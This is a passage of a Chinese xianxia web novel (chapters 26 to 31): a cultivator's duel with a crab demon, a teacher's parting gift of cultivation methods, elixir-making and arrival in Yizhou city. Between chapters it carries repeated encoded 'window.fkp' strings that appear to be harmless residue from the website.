\"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十六章 斗法 碎冰块、水、沸腾的水汽……被定水珠死死的压住,组成了一面奇异的镜子。镜面上,金红色的光芒在四处流淌着。在定水珠光芒照耀之外的水面上,沸腾的水气冲天而起,一片厚厚的白茫茫水雾从四周将这里团团围住。 水妖连忙将露出水面的蟹钳和蟹足抽回。同时,一片绿油油的泡沫你从水底孵出。泡沫一碰到被定水珠压住的水面便炸裂开来。一丝丝寒冷的绿色雾气从炸开的泡泡中出来,穿过水面, 水面上不断流淌的火焰迅速被绿雾熄灭。同时,在火焰的炙烤下。绿色的烟雾加速弥漫在周围的空气中,被外围白色的水雾拦住。 赵尘见此情景,笑道:“这螃蟹倒是没说假话啊。” 见葛、沈两人疑惑的看过来,赵尘接着道:“这螃蟹之前说自己穷,确实没说假话。你看,这你来我往,一连好几招,这只螃蟹连一件法器都没拿出来。难怪出来剪径,果然是穷疯了。” 两人对赵尘的话都没做反应,葛宗道随即开口问道:“赵师,这位前辈为什么只用符和法器呢?” “神魂一脉的修士,一直到第二阶,除非布置法台,否则只能用一些和幻术差不多的神魂类法术。如今哪有其布置法台的功夫。不扔符纸怎么办?” 老者看着即将向自己这边涌来的漫天毒雾,双手各从袖中抽出一张符纸。右手的符纸一搓,化作一阵狂风,把将向自己这边飘来的毒雾吹远。随后狂风一转,变成一道旋风,将毒雾卷成一个绿色的雾球。 同时。老者左手一抖,将符纸变成一团水球,抬手丢进雾球之中。水球在毒雾中滴溜溜一阵滚动,便将毒雾全部融入其中。眨眼间,一枚一丈直径的绿色雾球变成了一枚拳头大小的碧绿色水球。 老者翻手从袖中取出一只葫芦,同时伸手一招,将水球收入葫芦中。 就在水面的火焰被寒冷的绿雾熄灭时,水妖也趁机将一支蟹足点出,破开水面,向老者刺去。 老者伸手将葫芦塞回袖中,看着离自己已经不到数丈远的锋锐“青铜长矛”,手从袖子中抽出,伸手一弹,将一张符纸向“青铜长矛”的“矛尖”弹去。 “当” 和蟹足撞在一起的符纸化作一片一闪而逝的金色光幕,消散而去。 就好像两者碰撞在一起产生的力传递到老者脚下的船只一样。船只猛然向后面退去。意图和蟹足来开距离。 就在此时,另外七支蟹足和两只蟹钳忽然从老者船只周围的水面弹出,飞快的向老者探去。 水中,螃蟹整个身子翻转过来,背朝水底,腹朝船底。好像要将整条船抱在怀中一样。同时在心中美滋滋的想到:“我虽不知道这船队的主人是谁,但来头肯定很大,最好还是不要伤人。” “待我将其擒住,拿到那两船灵药灵材,到时往海中一躲。这两船货物虽对我来说价值连城,但对那等人物来说,连沧海一粟都算不上。怎么会为了那点东西搜山检海,探天巡地,闹出那么大动静?” 老者对向自己涌来的“长矛”、“铡刀”,面上毫无表情,依这两钳八足的位置、形状、表面细节、气息等,瞬间计算出螃蟹水妖的身躯所在。 心中暗道一声“找到了!”从袖中取出一面镜子,握在手中。 此镜名曰:“映心鉴”是老者自己炼制的唯一一件趁手法器。老者左手抬起,鉴面朝上,同时低头向鉴面看去,一道夺目神光从老者眼中落下,落入鉴中。 同时,转动手腕,将映心鉴向心中计算出来的螃蟹的身躯处扫去。 在映心鉴遥遥照到螃蟹身躯的一瞬间,正在美滋滋的盘算着收到“买路财”后要怎么跑路的螃蟹,只觉脑中一阵轰鸣,整个身子都僵在原处。心中一惊,暗道:“不好!” 就在映心鉴照住水妖的一瞬间,老者右臂伸直,一支青灰色的分水刺从袖中滑落,落入老者手中。 这份水刺便是商行配给老者的第二讲法器。老者握着分水刺,按照映心鉴感知到的准确位置,将分水刺朝水中甩去。 “不好”两个字刚从螃蟹心中闪过,不待做出其它反应,便见一道青灰色的光芒扑面而来。螃蟹连忙努力挣脱脑海中的轰鸣声的影响,同时整个身体连同蟹螯和另外几只脚一起,先是猛然缩小,身体勉强向后摔去。再突然变大,勉强避开了这必杀的一击。 正在这时,老者身边的武者已经布置好了一个简易的法台。老者站在法台前,左手握着映心鉴,右手提着分水刺,静静的看着眼前的水面。 螃蟹也在水底静静的看着自己身上的伤口,说轻伤的话却也不轻,不至少修养个三五年时好不了了,甚至都可以说是重伤了。但要说是重伤的话,暂时也不影响战斗。 但不论是老者还是螃蟹都明白,这一战到这里也算是结束了,不能再打了,也不用再打了。再打下去就只能分生死了。 而分生死,对老者来说,完全是划不来的;而对螃蟹来说,劫两船的和毁船伤人,这完全是两个概念,所面对的报复也完全是天壤之别。 而且,老者已经将法台布置好,这可不仅仅是用来借取神力的,这四海商行家大业大,谁知道其背后有没有神灵,谁知道老者在法台前是祈神借神力,还是一封奏表,直达神灵案前。 螃蟹看着身上的伤口,只觉心中一片苦涩,暗自感叹道:“这次实在是亏出血了。”想到这里,随即一挥大螯,便有数万颗走盘珠哗啦啦的堆在老者的船上。 同时传音道:“小妖不久前才有所突破,心性不稳,一时行为难以自制,不小心冒犯了贵船队,还望恕罪。” “之前便说小妖家底浅薄,没什么好东西,便只能拿这些俗物用来向贵船队赔罪了。”说着,螃蟹看着一下子少了小半的家底,无声的叹了口气,也不待老者回应,卷起自己剩下的家当,故意弄出了些动静,向远方游去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十七章 事后和历练 赵尘见两人停手,连忙将正显示水中情况的圆光术散去,以免被其发现另有人在一旁窥视。葛、沈两人围在赵尘身边,围观了一场精彩的斗法,只觉大开眼界。 赵尘回忆着之前两“人”交手的情况,心中想着要是自己处于老者的情况该怎么办?心中唯一的念头便是先叠上一层层防御类的法器或法术,然后甩出几杆长幡,将周围水域用阵法围住,最后将雷霆锁链扔进水中。 想到这里,不由失笑道:“我还是最适合以大欺小,以强凌弱,以多打少的战斗啊!” 正在此时,赵尘看见不断从水中飞出的珍珠,笑道:“走眼了,之前还嫌弃这螃蟹穷,谁知其竟然深藏不露。” “这些珍珠虽大小不同、品相不一,但都是珍品。每一颗都从数百两到数千两不等。这加起来足有数万颗……啧啧。” 老者看着水下逐渐远去的声响,将映心鉴和分水刺收好,伸手将定水珠召回,轻声对旁边的半步宗师护卫道:“结束了,回去吧!” 说罢,便转身向船舱中走去,随即瞟了一眼那堆珍珠,其严肃的脸上也不禁露出了笑容,这些收获中有他的一成,等回了商行,将之折算成银钱,再换成各种材料,足以让其再添置一件法器。 见老者所乘坐的船只向旗舰方向驶去,赵尘也开口道:“热闹看完了,我们也回去吧!”说着便驾着云向大船方向飞去。 不一会儿,赵尘三人便在原来的位置停下。手一伸,四周和脚下的云雾便向赵尘掌心汇聚,重新变成了一只小巧的云斗。手掌一翻,将之塞回袖中。 远处,那位叫做“应叔”的半步宗师从之前看见赵尘三人突然消失开始,眼睛便一眨不眨的用余光盯着赵尘等人的消失之处。只见不过十个呼吸左右的时间,赵尘三人又忽然出现在原地,与之伴随的还有赵尘掌间一闪而逝,好似白雾模样的东西。只是三人之间的站姿相比之前略有变化。 “这少年果然是一位比那中年汉子还厉害的修士。”见此,中年人这般肯定道。 随后心中又猜测了起来:“只是不知道其先前隐去身形做了什么,莫非是前去查探情况了,也不知前面发生了什么情况?” 因为先前喊话时,无论是老者还是水妖都将声音约束在周围不远处,所以殷文镇和中年人都不知道前面具体发生了什么情况。 心中猜测一番,便将主意了从赵尘三人身上移开,重新向远处望去。 只见前面一片静悄悄的,除了之前好像有火光闪耀了大半个呼吸,便没有任何动静传来。不一会儿,大船重新开动了起来,看来是将问题解决了。 两人随即往回走去,殷文镇一边走着,一边向中年人猜测着前面的情景。路过赵尘身边的时候又和三人简单的猜测了几句,因为实在太晚了,便约定明天白天再来拜访三人。 …… “赵兄弟,你对昨天夜里的事情怎么看?” 因为昨天两人从院子中出来的时候看见赵尘三人站在赵尘院子门口,当时院门敞开,院子中甚至还有灯光从房间里照出。所以,今天一早,殷文镇两人便来赵尘的小院子中,拜f访赵尘三人。 正巧,葛、沈二人也在赵尘院中,五人随即在赵尘院中聊了起来。 听到殷文镇的话,不待造成回答,沈姑娘便笑道:“还正和殷少侠说的一样,有一个水匪想要劫船!” 见两人诧异中带着疑惑的表情,葛宗道在一旁解释道:“是一只成了气候的螃蟹精想要劫船,结果被商行给打发了!” “竟是如此?沈姑娘、葛先生,不知两位是怎么知道的。”殷文镇听的越发疑惑。 “我若没看错的话,赵公子,葛先生,两位应该是传说中的修士吧。”没等两人回答,中年人接着说道:“昨天夜里,我见赵公子手中白芒一闪,三位就消失在原地。” “随后过去了约十个呼吸,又随着赵公子掌间一闪而过的白芒,三位又出现在原地,只是位置和站姿有所变化,” “若我没有猜错的话,在这十呼吸的之间,三位应该是隐去身形去前方查看情况去了吧!” 赵尘闻言点头笑道:“前辈目光如炬。” 葛宗道也随之将昨天见到的情形大概和两人讲述了一遍,只是省去了赵尘的种种法术和作为。只是说赵尘带着自己两人隐身在一旁,小心躲避着,而一人一妖都将注意力放在对方身上,所以没发现藏在一旁的三人。 殷文镇听着数丈乃至数十丈长的长矛和巨钳,一脸向往。 经过一番闲聊,三人了解到,殷文镇今年才二十岁,离先天期乾坤境已然只有半步之遥。其家中有好几位武道宗师。因为其作为这一代家中最有天赋的后辈之一,被家中安排出来历练。 至于历练路线,家族都为其安排好了。 先是沿玄水乘船南下,一路到底,直入玄水位于玄海道和安西道交接处海峡的入海口。之后沿海岸线绕安西道的边界行走,到达安西道的最南部。 之后沿安西道边界一路向东,到达安西、广南、广原、玄海四道的交界处,陡然南下,经三州之地,横穿整个广南道,来到玄冥部洲的最南端。 直到这一段,都会有这位“应叔”陪同。之后的路程便只能靠其一个人行走了。 殷文镇先要在这最南处寻船出海,去往玄钧部洲。再从玄钧部洲前往钧天部洲。而这一段海路,便是直行,也有一百多万里。 这钧天部洲作为二十四部洲中最大的一洲,又有钧洲、中洲、中土等称呼。足有玄冥部洲六到八倍大。 殷文镇钧洲登陆后,途径地图距离便有一千五百万里之遥,后在另一个出海口登船,经五十万里的海路,来到变玄部洲,再横穿变玄部洲,纸面距离近七百万里,再次登船,这次只有三十万里的海路。 最后在玄冥部洲的镇东道登陆,从镇东道往西南方向行走,回到江北道,整个游历过程结束。 因为武道宗师寿元两百岁,大宗师寿三百。所以整个历练过程最多一百年。 换句话说,从殷文镇离家的那一天算起,若是其没在一百年内回来,就当其死在外面了。而若是其完成了这个历练,那至少也是一位顶级的武道宗师,甚至传说中的大宗师也不无可能。 听完了这条历时百年,纸面距离就超过四千万里的游历路线,别说葛、沈二人,便是赵尘也目瞪口呆。同时也对这个世界有了更深刻的体会。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十八章 临别赠法 就这样过去了一年有余。 一天早上,船底如往常一样在闵州最西边一座郡城处停下。 赵尘在院中研读着从许晏那里拿来的藏书,或者说是修行笔记。这一年多的时间,赵尘已经将除飞剑之外的八件法器全部炼制成功,剩下的那把飞剑,赵尘如今的修为尚低了一点,打算等突破之后再去炼制。 葛宗道来到赵尘的小院,拜道:“这一年来多蒙赵师教导,今日特来向赵师辞别。” 赵尘见其打扮,一如第一次见面时一般,一身粗布衣服,背后背着一个包裹,腰间系着一布口袋。心中念叨了一句:“缘聚缘散啊!” 随即在心中轻轻的叹了一口气,忽有一种生若浮萍之感。指了下身前的椅子:“若是不急的话就随便聊聊再走。” 一如往常一般,葛宗道在赵尘身边恭敬坐下:“确实不怎么急。这船一般情况下,每次都靠岸三天。” 随即,葛宗道便和赵尘说了一下自己原先的打算。 此地大致算来便是冥仑山的起始处了。不远处,冥仑山的地脉和西海的一处水脉相互交汇,形成了一处特殊的造化之地。葛宗道原本的目的地便是此处,其打算在这之中开采出几方相应属性的灵玉,以作修行之用。 随后再沿冥仑山一路返回峡阴府,在回去的路上再顺便搜寻一番机缘。 赵尘看着面前的葛宗道,想起这一年多来的点点滴滴。又思索了一番,叹了口气,问道:“你应该只要这修士的法力之间亦有差距。可你知道这差距又应该怎么区分吗?” 葛宗道闻言先是一愣,心中闪过一片茫然,接着又语气欢喜道:“还请赵师指点。” 赵尘对此又继续问道:“你知道从第一阶到第二阶之间有一个重要的步骤叫做心死神活吗,对于这一步你又有几分把握?” 闻言,葛宗道心中的欢喜之情比先前赵尘传授其《天洗水玉针决》时还要高上无数倍。连忙起身对赵尘恭敬一拜:“还请赵师教我!” 赵尘认真的受了葛宗道一拜,随后起身将之扶起。等两人重新落座之后,开口道:“你可知道这法力有入品和不入品之分。有淡、浓、纯之分。有清浊之分。有正杂之分。” “其中以入品的纯正、清澈的正色法力为上上等。” “敢问赵师,这什么叫做入品,什么叫做不入品,两者之间有何差距?” “所谓入品与否,这主要看其法力有没有一种特殊的韵味。有三等差距:不入品,将入品,和入品。” “法力没有一丝韵味的,便是不入品。有那么一些韵味的便是将入品。剩下的便是入品法力。” 说着,赵尘摊开掌心,将一道宛若云烟的法力展示在葛宗道眼前。其仔细看去,只见这道法力,色泽纯清,清澈祥和。 “而在入品的法力中,只有五种韵味,分别是:诡、妖、仙、贵、和。以和为最上,仙、贵二者次之,剩下两者再次之。其中最上等独一无二,剩下四者却可能相互混在杂。” “说完入品与不入品,再来说一下法力颜色的正、杂。正中又分:白、黄、青、金、赤、黑等。依法门不同各有差异,以青为最上。” “依此划分,你的法力非但不入品,而且即浊又杂,也就沾了一个‘浓’字。” 随后,赵尘又为其解说了一番什么是“心死神活”,并将其中的关窍点了出来:“这心死神活之关,虽不依靠法门,直接趟过去为最佳,但你所修法门,根基浅薄,且你本身也不是什么天资、悟性惊世之辈。直接渡过此关的可能性着实不高。” 最后说道:“我可以传你两部法门,一曰:淘洗法,一曰:寂心出神法。” “其中,寂心出神法是我个人所创,你可以自由安排。但淘洗法是宗内所传,宗中虽不禁弟子外传,但你需发下重誓,此法你只能自己修炼,不得传予他人。” 见葛宗道毫不犹豫的立下誓言,赵尘继续道:“顾名思义,淘洗法便是用来淘洗法力之用。这部法门是专为金丹境修士准备的,一共可以将法力淘洗九次,足以让你的法力由浊而清,由杂变正,由浓转纯,逐渐生韵。” “至于寂心出神法,便是一种用来度过心死神活的法门,可以增加度过的成功率。此法你虽可以随意传授,但传授之前也要细细斟酌,以免所传非人。” 说罢,赵尘伸手一点,将两部法门传入其脑中:“既是缘分尽了,那便就此别过吧。” 葛宗道闭眼感受了一番脑海中的信息,又起身恭敬道:“弟子虽幼遇良师,自幼修持,但正法难闻,名师难寻。今幸遇赵师,得闻正法,大恩大德,此生难忘。”随之对赵尘起身再拜,转身离开。 …… 自从葛宗道离开之后,赵尘的时间一下子充裕起来.。赵尘时而研究许晏的藏书和札记,时而准备着自己的准法宝。殷文镇拜访了赵尘几次之后,该聊的的聊的差不多了,再加上看出赵尘的性格,拜访赵尘的次数从每两三天一次变成了每月一两次。 沈姑娘倒是和以前一样,经常跑来赵尘这里,看着赵尘炼丹,看着赵尘炼器,看着赵尘看书。将自己遇到的趣事,看到的有意思的人物讲给赵尘听。赵尘也时常拿出经书为其讲解一段。 赵尘从许晏处得到的书籍大致可以分成三类。 一是于科举有关的书籍和札记,既有道德文章,也有各种时文政治。 细细读来,倒也各有滋味,让赵尘可以细细体会最近四五百年来并州大地上的政治制度和时局变幻。更能感受到并州数万亿生灵在治乱盛衰中的挣扎沉浮。读来倒也算是增长了智慧。 第二类便是许晏批注的各种神话传说和道藏典籍,面满是许晏的各种批阅痕迹,一遍压着一遍,密密麻麻。赵尘忽然兴致来了,对着许晏的心得,重新删增批阅、并誊抄了一遍。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十九章 消化许晏的典藏 赵尘不但修正了上面的错漏,并做了详细的注释。还将许晏从中悟到的,或书中略有相关的,神魂一脉修炼法门和几个小术,做了系统的整理和增补。 赵尘心中一动,恶趣味的将自己修整、誊写出的几部大部头上写上《清微真人说道藏正义》,并将之用石盒密封,收入袖中。 第三部分便是许晏一点点记录下的修行笔记。赵尘将其细细整理一遍,整理出了三部书籍。 一本名为《许晏传》,细细记录着许晏一生兴衰起落。一本名为《术》,详细记录着赵尘从许晏修行笔记中整理、修正、补充出来的种种法术的修炼方法和法器的炼制法门。 最后一本名为《气血丹》,单独记录着许晏从开始萌发研究气血丹的心思,到每一次实验的详细过程,再到每一次炼丹的详细步骤和过程及遇到的事件。 赵尘将《许晏传》和《术》塞回袖中,拿起《气血丹》翻了翻,赞叹道:“不愧是天纵奇才、气运厚重。只可惜走错了路,不过对我来说,却是收获不小。” 赵尘取出十个小巧的丹鼎。每一个丹鼎皆不过一尺多高。用自己的血作为原料,同时用这十个丹鼎开始炼丹,每个丹鼎,长则十余天,短则七八天便可收一次丹。并将每次得到的丹药细都细体会一番,一点点的修正着许晏的丹方。 直到最后,赵尘看着自己眼前的收获:一个小瓷瓶,一个小玉碗,还有一个大瓷碗。 瓷碗中三十多粒从乳白色到绯色、再到血红色的各色丹丸,赵尘看着瓷碗,心道:“这些虽然都是失败品,但将这些作为原料,再加几味药材调和一下,炼制成药粉,给普通人,甚至武者补充气血,到也是神药、圣药。” 小瓷瓶中便是最后的成品,赵尘将小瓷瓶中的丹药倒了出来,托于掌心。只见其如同一枚害羞了的晶莹剔透的白玉珠,用手捏了捏,微微有点弹性,忽然让赵尘想起了硬质橡胶。 赵尘将之随手往嘴里一丢,吞入腹中,用五脏之气一搅,便化作浓郁而纯净的气血元气,从腹中扩散到全身,给人一种暖洋洋的感觉。 细细体会了一番,赵尘睁开眼,心中暗道:“效果不错。只是药材的量和年份还可以继续提高,” “现在这一粒,便可以为武道宗师或第二阶的修士延寿十数年,甚至能少量补充第三阶的修士,使用燃烧精血类秘法后的气血。要是最顶级的气血丹,想来便是对第四阶的修士来说,也算极其宝贵。” 最后赵尘又看向了小玉碗,碗里放着一枚小玉勺,碗底还有半寸厚的,纯净的,隐约有一丝淡淡的金红呈现的,鲜红色液体。这却不是赵尘的收获,而是其前些天刚放的血。 “总不能每次炼丹都要放一次血吧,”赵尘嘴角抽搐道。 …… 之后,赵尘翻阅了大量的和气血有关的书籍资料,企图找到解决的办法。 最后在一篇杂记中找到一条“太古时代,一些强大的生灵喜欢用嗜血藤的血囊酿酒,普通生灵若能喝上一口,都可以极大的壮大气血。这也是许多部落中,最常见的奖励勇士的办法。”的记载 随后,赵尘又查找有关嗜血藤的消息,得知嗜血藤在人皇时代早期便被逐渐消灭,如今大概只有一些经历过那段时代的顶级存在可能有所收藏。除此之外,便只有一些在人皇时代早期便封存的洞天中可能有所发现。 不过,在人皇时代,有许多人培育出不少嗜血藤的变种,如今在深山老林中还有可能碰到的吸血藤便是其中一种。 在人皇时代中期,有人培育出一种可提纯气血的变种,叫做血晶葡萄。 血晶葡萄从幼苗时便要用大量的鲜血浇灌,直到开花时停止。 结出的第一串葡萄呈紫黑色,是血晶葡萄吸收的所有鲜血中的毒素,和几乎所有杂质的集合。从第二串到倒数第二串,颜色逐渐由紫红色到鲜红色,葡萄中各种鲜血的杂质和各种生物的信息逐渐减少。最后一串只有一颗葡萄,其璀璨剔透,宛若一枚宝珠,是最纯净的气血。 看到这里,赵尘突然想道,自己在那个洞天里,好像得到了一些血晶葡萄的种籽。 于是赵尘立刻取出一兽皮口袋,其中装着自己从地宫中得到的种籽。赵尘从中翻出一颗血晶葡萄的种籽,种在院中。至于其所用的肥料,是赵尘用磨盘变出来的自己的血。 直到此时,赵尘才反应过来,自己炼丹时,直接用磨盘变出一些自己的血不就行了?但想到都到这一步了,总不能放弃吧,只能继续了。 待葡萄成熟时,赵尘将最后一颗以及种子收集起来,其它的都搅碎后丢玄水之中了,也不知这一丢,成全了多少水族。 赵尘握着玉瓶,看了眼着玉底那压根看不见的,血晶葡萄粉末。其还不足一分重,好似水晶粉末一般,不禁说了句:“真少。” 随后便沟通磨盘,变出了三两重的粉末,装了大半个玉瓶。之后,赵尘又捧出一玉碗的太阳真水,将玉瓶中的粉末缓缓倒入真水中,取出一根玉棒细细的搅拌起来。一直搅了一个多时辰,才将其搅拌均匀。随后低头看去,半碗金红色液体在碗中翻滚着,不时有水汽升起,好似一团团火焰在跳动。 “还差些,太燥了。” 说着,赵尘便连将其碗一起封了起来。 等到晚上,赵尘走到院中,取出一座小玉鼎,将碗中液体全部倒进鼎中,又在玉鼎周围布置了个简单的阵法,牵引月华落入鼎中,化作太阴真火不断灼烧着鼎中液体。 一连烧了三个时辰,待赵尘撤去阵法,原本装了半鼎的液体,如今只剩浅浅的,不到半指节厚的一层了,可以说十去其九。 赵尘看着鼎中极其内敛的金红色液体,其如同最纯净的气血,又散发着浩大、阳刚的气息。 赵尘见此,满意的点了点头,取出一个葫芦,将之装了进去,想了想,又在上面贴了个标签,上书“人仙之血”。 直到此时,许晏留下的种种典籍,才算基本被赵尘消化尽。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三十章 制器和下船 消化完许晏留下的典籍,赵尘在船上为自己规划的几件事,只剩下炼制准法宝这一件事了。 至于炼制准法宝的材料,赵尘在之前已经全部准备好了。 赵尘取出两件从地宫中得到的残破法宝:一件冥石地岩制成的砚台,一件天玄墨晶制成的镜子。 赵尘先将冥石地岩砚台的中间扩大,并在内部表面刻上可以扩大空间的符纹。接着将当年七师兄给的一盒沉阴砂取出来,将其细细洗炼一番,将每一颗砂砾都炼制成一件最低等的法器,再用磨盘变出足够多的数量,将之或高或低的铺在砚台中。 随后又j将之前收集到的那一小葫芦阴火取出,倒入砚台之中,并变出足够多的数量,和沉阴砂在砚台中组成一个水面、沙滩的小盆景。 之后又取出一些阴火,将之每六百六十六滴做一份,每一份都炼成一朵芝麻大小的青玉莲花,每一朵都是一件顶阶法器。赵尘将这数十朵莲花抛入这碧绿的“湖面”。 最后,赵尘将充作镜面的天玄墨晶拆下来,将之打磨成砚台的盖子。并在里面刻上明月和星辰的位置轨迹。 赵尘将一颗红豆大小的明珠镶嵌在月亮的位置,再将一大把沙粒大小的宝石镶嵌在诸星辰的位置。同时将大把的星月光辉灌入其中。 最后,赵尘将盖子合上,对其进行最后的祭炼、冲刷和温养,将其完全祭炼成一个整体。 看着手中长六寸,宽三寸,高一寸半,底部呈黄褐色,顶部呈半透明的黑色,内部主要呈现碧绿个黝黑的板砖,赵尘满意的将之塞入袖中,并为其取名“净土”。 其一是对这件准法宝功能的一个方面的描述,其二是希望用这块板砖,直接一下子将自己的敌人送去往生净土。 待赵尘将这件准法宝制成,从葛宗道离开算起,时间又过去了一年。 …… 之后又过去了几个月,船队按照惯例在玄孟城停了下来。 所谓玄孟城,便是玄孟府的府城。在这一段,一路笔直向西南流去的玄水会在这里产生一条向东南而去的支流。 因为这条支流横穿孟州而过,经过沂州,进入洛州,最后汇入洛水。所以这条支流的孟州部分称为孟江,沂州部分称为沂水,完整的被称为沂孟江。 而沂孟江的源头,即孟江和玄水的交界地,便是孟州玄孟府。玄孟府的府城自然便是玄孟城了。 赵尘在院中拿出那枚明尘师叔祖给的玉条左右比划了一番,确定师叔祖的那位师兄的转世之身应该在东边,长长的吐了口气:“呼呜……到站了!”随即便收拾了起来。 赵尘先是将埋在院子中的玉符、玉石取出来。这块玉石在那一点灵脉的侵染下,已然今非昔比。其通体散发着莹莹宝光,丝丝玄奥道韵流转。 赵尘将这件意外收获收好,再将画在墙上的各种符纹抹去,最后回房间收拾起行礼。 其实也没什么好收拾的,赵尘将房中的书籍、衣物等一些杂物随手往袖中一塞,将房门和院门全部锁上,又和几位邻居道别了几句。 最后和沈姑娘道别是时,赵尘想了想,从袖中掏出一口鼓鼓囊囊的布袋:“相识一场,这便送你了。” 说罢,便转身去了船主处,将花押和钥匙交给船主,遂下船离开。 虽然真正的储物法器只有第三阶及以上的修士才能制作,但低阶的修士也不是不能取巧。 只是,一来这种取巧之物只是对少量现有空间的简单扭曲和扩张,根本装不了多少东西。其次,这种将就的造物中,装了多少东西,该是多少重量就是多少重量。第三点,也是最重要的一点,这种将就、取巧的产物,若是原本的材质不够好,甚至无法装诸如法器、灵府之类的器物。 如葛宗道的布囊,如赵尘在砚台内壁刻录的符纹,又如赵尘给沈姑娘的口袋,都是这种取巧的产物。 这口布袋就是如此,沈姑娘一时差点没抓住,待其回到房间之后,打开口袋一看,便发现这是如同葛宗道的布囊那一样,可以装更多东西的法器。而且不用法力就可以使用。 本来就十分开心的沈姑娘将口袋中的东西取出来后,更是激动的无法言表。布袋中装着两样东西,一本是名叫《术》的书籍。另一个则是一个石函。打开一看,里面装着一套《清微真人说道藏正义》 …… 赵尘下船之后,便一个人在玄猛城中闲逛。随之发现,与北边相比,这里的人们更重文字才华。 在北边颇受人尊敬的武者,在这里,若没有一身书生打扮,地位却要低不少。对此,赵尘只能一脸苦笑的摇了摇头,找了家客栈,换去了武者打扮。 随后,赵尘又寻找起了自猛江东去的船只。一连数天,都无所得。 赵尘了解到,最快的一艘东去的船只还要一个月后才能到,这还是路上没有耽误的情况。并且,那条船的行船速度,平均下来,每日只有将近千里。 赵尘听到后,摇了摇头。转身向临着孟江的那面的城外走去。趁没人的时候,赵尘将自己的那艘楼船放出来,变作一乌篷船。赵尘躺在船中,任凭江水拍打,将自己的小船沿着孟江向东推去,一派悠然自得的样子。 不到两个月时间,乌篷船便沿着孟江飘出了数十万里。 一日黎明,赵尘半依在船中,手中捧着一卷道经,借着一盏油灯,看的摇头晃脑。实际上,赵尘根本用不着油灯。这盏油灯除了装饰,更多的是起了一个氛围的作用。 突然,赵尘从怀中摸出一枚玉柱,托在掌心比划了一下,抬头向微微亮起的远方看去:“终于到了。” 之后又行了数十里,赵尘先起身将衣服换去掉,换上一件云锦织就的素色道袍,再从袖中抽出一把自己制作的拂尘,模仿当初明尘的样子,在身上挂了些铃铛、小葫芦之类的小配饰,最后将乌篷船靠在江边。 下船后,扫视了周围一圈,见没人注意自己这边,顺手将船收回袖中,迎着晨光向远处的大城走去。 第三十一章 初到沂州 赵尘远远的看着城门上的“沂州城”三个字,又看了那五十五丈高的城墙,嘴角抽了抽:“不愧为仙侠世界,不愧是州城,这丧心病狂的城墙,今天又长见识了。” 进入城中,赵尘想了想,没有雇马车,而是在城中步行了起来。 赵尘一手持着拂尘,另一只手收于袖中,托着那枚玉柱感受着目标所在。在漫无目的的闲逛中逐渐接近这目标之处。 沂州城不但是沂州的州城,更是整个广原道六州的治所,繁华异常,可谓赵尘平生仅见。城中行人,不但有武者,便是修行者也不在少数。甚至那些每一些低阶的、基础材料的店铺,赵尘这一路都看到了好多家。 正在这时,几句谈话声传进赵尘耳中,将赵尘的注意力吸引了过去。 赵尘寻声望去,只见不远处,一中年汉子,面带丝丝不乐之色,正在摊铺前贩卖鲜果。就在贩卖鲜果的小贩旁,一老头左手蒲扇,右手茶壶,正在树荫下纳凉。 在其不远处的一片树荫下,还有一浑身泥垢,看不出相貌、性别和年纪的乞丐,正躺在一片树荫里假寐,身前放着一脏兮兮的破碗。 “小子,你这一天到晚的,都愁眉苦脸的干什么?”老者抬起右手,对着壶嘴抿了一口:“这太平时节,你又不缺衣少食,家中也没人身患重疾。” “还有,我记得你爹当年也这样,”说着,老头好像想起了什么,嗒吧了一下嘴,接着道:“我记得我小时候,你爷爷在这里买果子的时候,好像也没见多少笑容!你这一家人……” 周围一些,或是好奇的路人,若是些闲来无事,在此休息闲逛的邻居,闻言也靠了过来,但都注意着,没挡在摊子前面,影响汉子生意。 小贩看了眼周围,“唉”了一声,道:“我是因为想到自家虽然不缺衣少食,也无病无灾,但却永远富贵不了,所以才叹息。” “你这小子,等你活到我这年头,知道一家子无病无灾,衣食不缺,这便已经够了,还要多求些什么呢?”老头闻言,啐了汉子一口道。 对于老头的话,有人赞同,有人反对,有人虽没说话,但神情也有所表示,还有些人毫无表示。 “对了,你说你家永远也富贵不了,这是为什么?”忽然,有人开口问道。 “对啊对啊。为什么说你家永远也富贵不了?” 小贩闻言,苦笑的摇了摇头。 “都是乡里乡亲的,有什么不能说的呢!” 听见众人的喧哗声,不远处的乞丐在地上挪了挪身子,揉了揉耳朵,侧过身子,面朝里的继续睡去,眼睛都不睁一下的。 